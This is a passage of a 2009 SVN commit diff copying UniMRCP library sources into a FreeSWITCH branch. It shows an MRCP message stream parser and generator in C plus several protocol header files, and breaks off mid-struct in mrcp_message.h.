+	apr_pool_t              *pool;
+};
+
+/** MRCP generator */
+struct mrcp_generator_t {
+	mrcp_resource_factory_t *resource_factory;
+	mrcp_stream_result_e     result;
+	char                    *pos;
+	mrcp_message_t          *message;
+	apr_pool_t              *pool;
+};
+
+
+/** Read MRCP message-body */
+static mrcp_stream_result_e mrcp_message_body_read(mrcp_message_t *message, apt_text_stream_t *stream)
+{
+	mrcp_stream_result_e result = MRCP_STREAM_MESSAGE_COMPLETE;
+	if(message->body.buf) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		/* stream length available to read */
+		apr_size_t stream_length = stream->text.length - (stream->pos - stream->text.buf);
+		/* required/remaining length to read */
+		apr_size_t required_length = generic_header->content_length - message->body.length;
+		if(required_length > stream_length) {
+			required_length = stream_length;
+			/* not complete */
+			result = MRCP_STREAM_MESSAGE_TRUNCATED;
+		}
+		memcpy(message->body.buf+message->body.length,stream->pos,required_length);
+		message->body.length += required_length;
+		stream->pos += required_length;
+		message->body.buf[message->body.length] = '\0';
+	}
+
+	return result;
+}
+
+/** Parse MRCP message-body */
+static mrcp_stream_result_e mrcp_message_body_parse(mrcp_message_t *message, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_LENGTH) == TRUE) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		if(generic_header && generic_header->content_length) {
+			apt_str_t *body = &message->body;
+			body->buf = apr_palloc(pool,generic_header->content_length+1);
+			body->length = 0;
+			return mrcp_message_body_read(message,stream);
+		}
+	}
+	return MRCP_STREAM_MESSAGE_COMPLETE;
+}
+
+/** Write MRCP message-body */
+static mrcp_stream_result_e mrcp_message_body_write(mrcp_message_t *message, apt_text_stream_t *stream)
+{
+	mrcp_stream_result_e result = MRCP_STREAM_MESSAGE_COMPLETE;
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+	if(generic_header && message->body.length < generic_header->content_length) {
+		/* stream length available to write */
+		apr_size_t stream_length = stream->text.length - (stream->pos - stream->text.buf);
+		/* required/remaining length to write */
+		apr_size_t required_length = generic_header->content_length - message->body.length;
+		if(required_length > stream_length) {
+			required_length = stream_length;
+			/* not complete */
+			result = MRCP_STREAM_MESSAGE_TRUNCATED;
+		}
+
+		memcpy(stream->pos,message->body.buf+message->body.length,required_length);
+		message->body.length += required_length;
+		stream->pos += required_length;
+	}
+
+	return result;
+}
+
+/** Generate MRCP message-body */
+static mrcp_stream_result_e mrcp_message_body_generate(mrcp_message_t *message, apt_text_stream_t *stream)
+{
+	if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_LENGTH) == TRUE) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		if(generic_header && generic_header->content_length) {
+			apt_str_t *body = &message->body;
+			body->length = 0;
+			return mrcp_message_body_write(message,stream);
+		}
+	}
+	return MRCP_STREAM_MESSAGE_COMPLETE;
+}
+
+/** Parse MRCP message (excluding message body) */
+MRCP_DECLARE(apt_bool_t) mrcp_message_parse(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message, apt_text_stream_t *stream)
+{
+	/* parse start-line */
+	if(mrcp_start_line_parse(&message->start_line,stream,message->pool) == FALSE) {
+		return FALSE;
+	}
+
+	if(message->start_line.version == MRCP_VERSION_2) {
+		mrcp_channel_id_parse(&message->channel_id,stream,message->pool);
+	}
+
+	if(mrcp_message_resourcify_by_name(resource_factory,message) == FALSE) {
+		return FALSE;
+	}
+
+	/* parse header */
+	if(mrcp_message_header_parse(&message->header,stream,message->pool) == FALSE) {
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Generate MRCP message (excluding message body) */
+MRCP_DECLARE(apt_bool_t) mrcp_message_generate(mrcp_resource_factory_t *resource_factory, mrcp_message_t *message, apt_text_stream_t *stream)
+{
+	/* initialize resource specific data */
+	if(mrcp_message_resourcify_by_id(resource_factory,message) == FALSE) {
+		return FALSE;
+	}
+
+	/* validate message */
+	if(mrcp_message_validate(message) == FALSE) {
+		return FALSE;
+	}
+	
+	/* generate start-line */
+	if(mrcp_start_line_generate(&message->start_line,stream) == FALSE) {
+		return FALSE;
+	}
+
+	if(message->start_line.version == MRCP_VERSION_2) {
+		mrcp_channel_id_generate(&message->channel_id,stream);
+	}
+
+	/* generate header */
+	if(mrcp_message_header_generate(&message->header,stream) == FALSE) {
+		return FALSE;
+	}
+
+	/* finalize start-line generation */
+	mrcp_start_line_finalize(&message->start_line,message->body.length,stream);
+	return TRUE;
+}
+
+
+/** Create MRCP stream parser */
+MRCP_DECLARE(mrcp_parser_t*) mrcp_parser_create(mrcp_resource_factory_t *resource_factory, apr_pool_t *pool)
+{
+	mrcp_parser_t *parser = apr_palloc(pool,sizeof(mrcp_parser_t));
+	parser->resource_factory = resource_factory;
+	apt_string_reset(&parser->resource_name);
+	parser->result = MRCP_STREAM_MESSAGE_INVALID;
+	parser->pos = NULL;
+	parser->skip_lf = FALSE;
+	parser->message = NULL;
+	parser->pool = pool;
+	return parser;
+}
+
+/** Set resource name to be used while parsing (MRCPv1 only) */
+MRCP_DECLARE(void) mrcp_parser_resource_name_set(mrcp_parser_t *parser, const apt_str_t *resource_name)
+{
+	if(resource_name) {
+		apt_string_copy(&parser->resource_name,resource_name,parser->pool);
+	}
+}
+
+static mrcp_stream_result_e mrcp_parser_break(mrcp_parser_t *parser, apt_text_stream_t *stream)
+{
+	/* failed to parse either start-line or header */
+	if(apt_text_is_eos(stream) == TRUE) {
+		/* end of stream reached, rewind/restore stream */
+		stream->pos = parser->pos;
+		parser->result = MRCP_STREAM_MESSAGE_TRUNCATED;
+		parser->message = NULL;
+	}
+	else {
+		/* error case */
+		parser->result = MRCP_STREAM_MESSAGE_INVALID;
+	}
+	return parser->result;
+}
+
+/** Parse MRCP stream */
+MRCP_DECLARE(mrcp_stream_result_e) mrcp_parser_run(mrcp_parser_t *parser, apt_text_stream_t *stream)
+{
+	mrcp_message_t *message = parser->message;
+	if(message && parser->result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+		/* process continuation data */
+		parser->result = mrcp_message_body_read(message,stream);
+		return parser->result;
+	}
+	
+	/* create new MRCP message */
+	message = mrcp_message_create(parser->pool);
+	message->channel_id.resource_name = parser->resource_name;
+	parser->message = message;
+	/* store current position to be able to rewind/restore stream if needed */
+	parser->pos = stream->pos;
+
+	/* parse start-line and header */
+	if(mrcp_message_parse(parser->resource_factory,message,stream) == FALSE) {
+		return mrcp_parser_break(parser,stream);
+	}
+
+	/* parse body */
+	parser->result = mrcp_message_body_parse(message,stream,message->pool);
+
+	/* in the worst case message segmentation may occur between <CR> and <LF> 
+	   of the final empty header */
+	if(!message->body.length && *(stream->pos-1)== APT_TOKEN_CR) {
+		/* if this is the case be prepared to skip <LF> */
+		parser->skip_lf = TRUE;
+	}
+	return parser->result;
+}
+
+/** Get parsed MRCP message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_parser_message_get(const mrcp_parser_t *parser)
+{
+	return parser->message;
+}
+
+
+/** Create MRCP stream generator */
+MRCP_DECLARE(mrcp_generator_t*) mrcp_generator_create(mrcp_resource_factory_t *resource_factory, apr_pool_t *pool)
+{
+	mrcp_generator_t *generator = apr_palloc(pool,sizeof(mrcp_generator_t));
+	generator->resource_factory = resource_factory;
+	generator->result = MRCP_STREAM_MESSAGE_INVALID;
+	generator->pos = NULL;
+	generator->message = NULL;
+	generator->pool = pool;
+	return generator;
+}
+
+/** Set MRCP message to generate */
+MRCP_DECLARE(apt_bool_t) mrcp_generator_message_set(mrcp_generator_t *generator, mrcp_message_t *message)
+{
+	if(!message) {
+		return FALSE;
+	}
+	generator->message = message;
+	return TRUE;
+}
+
+static mrcp_stream_result_e mrcp_generator_break(mrcp_generator_t *generator, apt_text_stream_t *stream)
+{
+	/* failed to generate either start-line or header */
+	if(apt_text_is_eos(stream) == TRUE) {
+		/* end of stream reached, rewind/restore stream */
+		stream->pos = generator->pos;
+		generator->result = MRCP_STREAM_MESSAGE_TRUNCATED;
+	}
+	else {
+		/* error case */
+		generator->result = MRCP_STREAM_MESSAGE_INVALID;
+	}
+	return generator->result;
+}
+
+/** Generate MRCP stream */
+MRCP_DECLARE(mrcp_stream_result_e) mrcp_generator_run(mrcp_generator_t *generator, apt_text_stream_t *stream)
+{
+	mrcp_message_t *message = generator->message;
+	if(!message) {
+		return MRCP_STREAM_MESSAGE_INVALID;
+	}
+
+	if(message && generator->result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+		/* process continuation data */
+		generator->result = mrcp_message_body_write(message,stream);
+		return generator->result;
+	}
+
+	/* generate start-line and header */
+	if(mrcp_message_generate(generator->resource_factory,message,stream) == FALSE) {
+		return mrcp_generator_break(generator,stream);
+	}
+
+	/* generate body */
+	generator->result = mrcp_message_body_generate(message,stream);
+	return generator->result;
+}
+
+
+/** Walk through MRCP stream and invoke message handler for each parsed message */
+MRCP_DECLARE(apt_bool_t) mrcp_stream_walk(mrcp_parser_t *parser, apt_text_stream_t *stream, mrcp_message_handler_f handler, void *obj)
+{
+	mrcp_stream_result_e result;
+	if(parser->skip_lf == TRUE) {
+		/* skip <LF> occurred as a result of message segmentation between <CR> and <LF> */
+		apt_text_char_skip(stream,APT_TOKEN_LF);
+		parser->skip_lf = FALSE;
+	}
+	do {
+		result = mrcp_parser_run(parser,stream);
+		if(result == MRCP_STREAM_MESSAGE_COMPLETE) {
+			/* message is completely parsed */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Parsed MRCP Message [%lu]", stream->pos - stream->text.buf);
+			/* invoke message handler */
+			handler(obj,parser->message,result);
+		}
+		else if(result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+			/* message is partially parsed, to be continued */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Truncated MRCP Message [%lu]", stream->pos - stream->text.buf);
+			/* prepare stream for further processing */
+			if(apt_text_stream_scroll(stream) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Scroll MRCP Stream", stream->text.buf);
+			}
+			return TRUE;
+		}
+		else if(result == MRCP_STREAM_MESSAGE_INVALID){
+			/* error case */
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse MRCP Message");
+			/* invoke message handler */
+			handler(obj,parser->message,result);
+			/* reset stream pos */
+			stream->pos = stream->text.buf;
+			return FALSE;
+		}
+	}
+	while(apt_text_is_eos(stream) == FALSE);
+
+	/* reset stream pos */
+	stream->pos = stream->text.buf;
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/include/mrcp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_H__
+#define __MRCP_H__
+
+/**
+ * @file mrcp.h
+ * @brief MRCP Core Definitions
+ */ 
+
+#include <apt.h>
+#include <apt_dir_layout.h>
+
+/** Library export/import defines */
+#ifdef WIN32
+#ifdef MRCP_STATIC_LIB
+#define MRCP_DECLARE(type)   type __stdcall
+#else
+#ifdef MRCP_LIB_EXPORT
+#define MRCP_DECLARE(type)   __declspec(dllexport) type __stdcall
+#else
+#define MRCP_DECLARE(type)   __declspec(dllimport) type __stdcall
+#endif
+#endif
+#else
+#define MRCP_DECLARE(type) type
+#endif
+
+#endif /*__MRCP_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/include/mrcp_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/include/mrcp_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_TYPES_H__
+#define __MRCP_TYPES_H__
+
+/**
+ * @file mrcp_types.h
+ * @brief Basic MRCP Types
+ */ 
+
+#include "mrcp.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Protocol version */
+typedef enum {
+	
+	MRCP_VERSION_UNKNOWN = 0,  /**< Unknown version */
+	MRCP_VERSION_1 = 1,        /**< MRCPv1 (RFC4463) */
+	MRCP_VERSION_2 = 2         /**< MRCPv2 (draft-ietf-speechsc-mrcpv2-15) */
+} mrcp_version_e;
+
+/** Enumeration of MRCP resource types */
+typedef enum {
+	MRCP_SYNTHESIZER_RESOURCE, /**< Synthesizer resource */
+	MRCP_RECOGNIZER_RESOURCE,  /**< Recognizer resource */
+
+	MRCP_RESOURCE_TYPE_COUNT   /**< Number of resources */
+} mrcp_resource_type_e;
+
+/** Message identifier used in request/response/event messages. */
+typedef apr_size_t  mrcp_request_id;
+/** Method identifier associated with method name. */
+typedef apr_size_t mrcp_method_id;
+/** Resource identifier associated with resource name. */
+typedef apr_size_t mrcp_resource_id;
+
+
+/** Opaque MRCP message declaration */
+typedef struct mrcp_message_t mrcp_message_t;
+/** Opaque MRCP resource declaration */
+typedef struct mrcp_resource_t mrcp_resource_t;
+/** Opaque MRCP resource factory declaration */
+typedef struct mrcp_resource_factory_t mrcp_resource_factory_t;
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_TYPES_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message)

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_generic_header.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_generic_header.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/include/mrcp_generic_header.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_generic_header.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_generic_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_GENERIC_HEADER_H__
+#define __MRCP_GENERIC_HEADER_H__
+
+/**
+ * @file mrcp_generic_header.h
+ * @brief MRCP Generic Header
+ */ 
+
+#include "mrcp_types.h"
+#include "mrcp_header_accessor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Enumeration of MRCP generic headers */
+typedef enum {
+	GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST,
+	GENERIC_HEADER_PROXY_SYNC_ID,
+	GENERIC_HEADER_ACCEPT_CHARSET,
+	GENERIC_HEADER_CONTENT_TYPE,
+	GENERIC_HEADER_CONTENT_ID,
+	GENERIC_HEADER_CONTENT_BASE,
+	GENERIC_HEADER_CONTENT_ENCODING,
+	GENERIC_HEADER_CONTENT_LOCATION,
+	GENERIC_HEADER_CONTENT_LENGTH,
+	GENERIC_HEADER_CACHE_CONTROL,
+	GENERIC_HEADER_LOGGING_TAG,
+	GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS,
+	
+	/** Additional headers for MRCP v2 */
+	GENERIC_HEADER_ACCEPT,
+	GENERIC_HEADER_FETCH_TIMEOUT,
+	GENERIC_HEADER_SET_COOKIE,
+	GENERIC_HEADER_SET_COOKIE2,
+
+	GENERIC_HEADER_COUNT
+} mrcp_generic_header_id;
+
+/** MRCP request identifiers list declaration */
+typedef struct mrcp_request_id_list_t mrcp_request_id_list_t;
+/** MRCP vendor specific parameter list of pairs */
+typedef struct mrcp_vendor_specific_params_list_t mrcp_vendor_specific_params_list_t;
+/** MRCP generic header declaration */
+typedef struct mrcp_generic_header_t mrcp_generic_header_t;
+
+/** Max number of request ids in active request id list */
+#define MAX_ACTIVE_REQUEST_ID_COUNT 5
+/** List (array) of MRCP request identifiers */
+struct mrcp_request_id_list_t {
+	/** Array of request identifiers */
+	mrcp_request_id ids[MAX_ACTIVE_REQUEST_ID_COUNT];
+	/** Number of request identifiers */
+	size_t          count;
+};
+
+
+/** MRCP generic header */
+struct mrcp_generic_header_t {
+	/** Indicates the list of request-ids to which it should apply */
+	mrcp_request_id_list_t active_request_id_list;
+	/** Helps the resource receiving the event, proxied by the client, 
+	to decide if this event has been processed through a direct interaction of the resources */
+	apt_str_t              proxy_sync_id;
+	/** Specifies the acceptable character set for entities returned in the response or events associated with this request */
+	apt_str_t              accept_charset;
+	/** Restricted to speech markup, grammar, recognition results, etc. */
+	apt_str_t              content_type;
+	/** Contains an ID or name for the content, by which it can be referred to */
+	apt_str_t              content_id;
+	/** May be used to specify the base URI for resolving relative URLs within the entity */
+	apt_str_t              content_base;
+	/** Indicates what additional content coding has been applied to the entity-body */
+	apt_str_t              content_encoding;
+	/** Statement of the location of the resource corresponding to this particular entity at the time of the request */
+	apt_str_t              content_location;
+	/** Contains the length of the content of the message body */
+	size_t                 content_length;
+	/** Defines the default caching algorithms on the media server for the session or request */
+	apt_str_t              cache_control;
+	/** Sets the logging tag for logs generated by the media server */
+	apt_str_t              logging_tag;
+	/** Specifies the vendor specific parameters used by the media server */
+	apt_pair_arr_t        *vendor_specific_params;
+
+	/** Additional headers for MRCP v2 */
+	/** Specifies the acceptable media types set for entities returned in the response or events associated with this request */
+	apt_str_t              accept;
+	/** Defines the timeout for content that the server may need to fetch over the network */
+	apr_size_t             fetch_timeout;
+	/** Enables to synchronize the cookie store of MRCP v2 client and server */
+	apt_str_t              set_cookie;
+	/** Enables to synchronize the cookie store of MRCP v2 client and server */
+	apt_str_t              set_cookie2;
+};
+
+/** Get generic header vtable */
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_generic_header_vtable_get(mrcp_version_e version);
+
+
+/** Append active request id list */
+MRCP_DECLARE(apt_bool_t) active_request_id_list_append(mrcp_generic_header_t *generic_header, mrcp_request_id request_id);
+/** Find request id in active request id list */
+MRCP_DECLARE(apt_bool_t) active_request_id_list_find(mrcp_generic_header_t *generic_header, mrcp_request_id request_id);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_GENERIC_HEADER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_header_accessor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_header_accessor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/include/mrcp_header_accessor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_header_accessor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_header_accessor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_HEADER_ACCESSOR_H__
+#define __MRCP_HEADER_ACCESSOR_H__
+
+/**
+ * @file mrcp_header_accessor.h
+ * @brief Abstract MRCP Header Accessor
+ */ 
+
+#include "apt_string_table.h"
+#include "apt_text_stream.h"
+#include "mrcp.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP header accessor declaration */
+typedef struct mrcp_header_accessor_t mrcp_header_accessor_t;
+/** MRCP header vtable declaration */
+typedef struct mrcp_header_vtable_t mrcp_header_vtable_t;
+
+/** MRCP header accessor interface */
+struct mrcp_header_vtable_t {
+	/** Allocate actual header data */
+	void* (*allocate)(mrcp_header_accessor_t *accessor, apr_pool_t *pool);
+	/** Destroy header data */
+	void (*destroy)(mrcp_header_accessor_t *accessor);
+
+	/** Parse header field */
+	apt_bool_t (*parse_field)(mrcp_header_accessor_t *accessor, apr_size_t id, const apt_str_t *value, apr_pool_t *pool);
+	/** Generate header field */
+	apt_bool_t (*generate_field)(mrcp_header_accessor_t *accessor, apr_size_t id, apt_text_stream_t *value);
+	/** Duplicate header field */
+	apt_bool_t (*duplicate_field)(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, apr_size_t id, apr_pool_t *pool);
+
+	/** Table of fields  */
+	const apt_str_table_item_t *field_table;
+	/** Number of fields  */
+	apr_size_t                  field_count;
+};
+
+
+/** Initialize header vtable */
+static APR_INLINE void mrcp_header_vtable_init(mrcp_header_vtable_t *vtable)
+{
+	vtable->allocate = NULL;
+	vtable->destroy = NULL;
+	vtable->parse_field = NULL;
+	vtable->generate_field = NULL;
+	vtable->duplicate_field = NULL;
+	vtable->field_table = NULL;
+	vtable->field_count = 0;
+}
+
+/** Validate header vtable */
+static APR_INLINE apt_bool_t mrcp_header_vtable_validate(const mrcp_header_vtable_t *vtable)
+{
+	return (vtable->allocate && vtable->destroy && 
+		vtable->parse_field && vtable->generate_field &&
+		vtable->duplicate_field && vtable->field_table && 
+		vtable->field_count) ?	TRUE : FALSE;
+}
+
+
+/** MRCP header accessor */
+struct mrcp_header_accessor_t {
+	/** Actual header data allocated by accessor */
+	void                       *data;
+
+	/** Array properties (mrcp_header_property_e) */
+	char                       *properties;
+	/** Number of filled properties (header fields) */
+	apr_size_t                  counter;
+	
+	/** Header accessor interface */
+	const mrcp_header_vtable_t *vtable;
+};
+
+/** Initialize header accessor */
+static APR_INLINE void mrcp_header_accessor_init(mrcp_header_accessor_t *accessor)
+{
+	accessor->data = NULL;
+	accessor->properties = NULL;
+	accessor->counter = 0;
+	accessor->vtable = NULL;
+}
+
+
+/** Allocate header data */
+static APR_INLINE void* mrcp_header_allocate(mrcp_header_accessor_t *accessor, apr_pool_t *pool)
+{
+	if(accessor->data) {
+		return accessor->data;
+	}
+	if(!accessor->vtable || !accessor->vtable->allocate) {
+		return NULL;
+	}
+	accessor->properties = (char*)apr_pcalloc(pool,sizeof(char)*accessor->vtable->field_count);
+	accessor->counter = 0;
+	return accessor->vtable->allocate(accessor,pool);
+}
+
+/** Destroy header data */
+static APR_INLINE void mrcp_header_destroy(mrcp_header_accessor_t *accessor)
+{
+	if(!accessor->vtable || !accessor->vtable->destroy) {
+		return;
+	}
+	accessor->vtable->destroy(accessor);
+}
+
+
+/** Parse header */
+MRCP_DECLARE(apt_bool_t) mrcp_header_parse(mrcp_header_accessor_t *accessor, const apt_pair_t *pair, apr_pool_t *pool);
+
+/** Generate header */
+MRCP_DECLARE(apt_bool_t) mrcp_header_generate(mrcp_header_accessor_t *accessor, apt_text_stream_t *text_stream);
+
+/** Set header */
+MRCP_DECLARE(apt_bool_t) mrcp_header_set(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, const mrcp_header_accessor_t *mask, apr_pool_t *pool);
+
+/** Inherit header */
+MRCP_DECLARE(apt_bool_t) mrcp_header_inherit(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *parent, apr_pool_t *pool);
+
+
+/** Add name:value property */
+MRCP_DECLARE(void) mrcp_header_property_add(mrcp_header_accessor_t *accessor, apr_size_t id);
+
+/** Remove property */
+MRCP_DECLARE(void) mrcp_header_property_remove(mrcp_header_accessor_t *accessor, apr_size_t id);
+
+/** Check the property */
+MRCP_DECLARE(apt_bool_t) mrcp_header_property_check(mrcp_header_accessor_t *accessor, apr_size_t id);
+
+/** Add name only property */
+MRCP_DECLARE(void) mrcp_header_name_property_add(mrcp_header_accessor_t *accessor, apr_size_t id);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_HEADER_ACCESSOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_message.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_message.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/include/mrcp_message.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_message.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/include/mrcp_message.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,278 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_MESSAGE_H__
+#define __MRCP_MESSAGE_H__
+
+/**
+ * @file mrcp_message.h
+ * @brief MRCP Message Definition
+ */ 
+
+#include "mrcp_types.h"
+#include "mrcp_header_accessor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Request-states used in MRCP response message */
+typedef enum {
+	/** The request was processed to completion and there will be no	
+	    more events from that resource to the client with that request-id */
+	MRCP_REQUEST_STATE_COMPLETE,
+	/** The job has been placed on a queue and will be processed in first-in-first-out order */
+	MRCP_REQUEST_STATE_INPROGRESS,
+	/** Indicate that further event messages will be delivered with that request-id */
+	MRCP_REQUEST_STATE_PENDING,
+	
+	/** Number of request states */
+	MRCP_REQUEST_STATE_COUNT,
+	/** Unknown request state */
+	MRCP_REQUEST_STATE_UNKNOWN = MRCP_REQUEST_STATE_COUNT
+} mrcp_request_state_e;
+
+/** Status codes */
+typedef enum {
+	MRCP_STATUS_CODE_UNKNOWN                   = 0,
+	/* success codes (2xx) */
+	MRCP_STATUS_CODE_SUCCESS                   = 200,
+	MRCP_STATUS_CODE_SUCCESS_WITH_IGNORE       = 201,
+	/* failure codes (4xx) */
+	MRCP_STATUS_CODE_METHOD_NOT_ALLOWED        = 401,
+	MRCP_STATUS_CODE_METHOD_NOT_VALID          = 402,
+	MRCP_STATUS_CODE_UNSUPPORTED_PARAM         = 403,
+	MRCP_STATUS_CODE_ILLEGAL_PARAM_VALUE       = 404,
+	MRCP_STATUS_CODE_NOT_FOUND                 = 405,
+	MRCP_STATUS_CODE_MISSING_PARAM             = 406,
+	MRCP_STATUS_CODE_METHOD_FAILED             = 407,
+	MRCP_STATUS_CODE_UNRECOGNIZED_MESSAGE      = 408,
+	MRCP_STATUS_CODE_UNSUPPORTED_PARAM_VALUE   = 409,
+	MRCP_STATUS_CODE_RESOURCE_SPECIFIC_FAILURE = 421
+} mrcp_status_code_e;
+
+/** MRCP message types */
+typedef enum {
+	MRCP_MESSAGE_TYPE_UNKNOWN,
+	MRCP_MESSAGE_TYPE_REQUEST,
+	MRCP_MESSAGE_TYPE_RESPONSE,
+	MRCP_MESSAGE_TYPE_EVENT
+} mrcp_message_type_e;
+
+
+/** MRCP start-line declaration */
+typedef struct mrcp_start_line_t mrcp_start_line_t;
+/** MRCP channel-id declaration */
+typedef struct mrcp_channel_id mrcp_channel_id;
+/** MRCP message header declaration */
+typedef struct mrcp_message_header_t mrcp_message_header_t;
+
+
+/** Start-line of MRCP message */
+struct mrcp_start_line_t {
+	/** MRCP message type */
+	mrcp_message_type_e  message_type;
+	/** Version of protocol in use */
+	mrcp_version_e       version;
+	/** Specify the length of the message, including the start-line (v2) */
+	size_t               length;
+	/** Unique identifier among client and server */
+	mrcp_request_id      request_id;
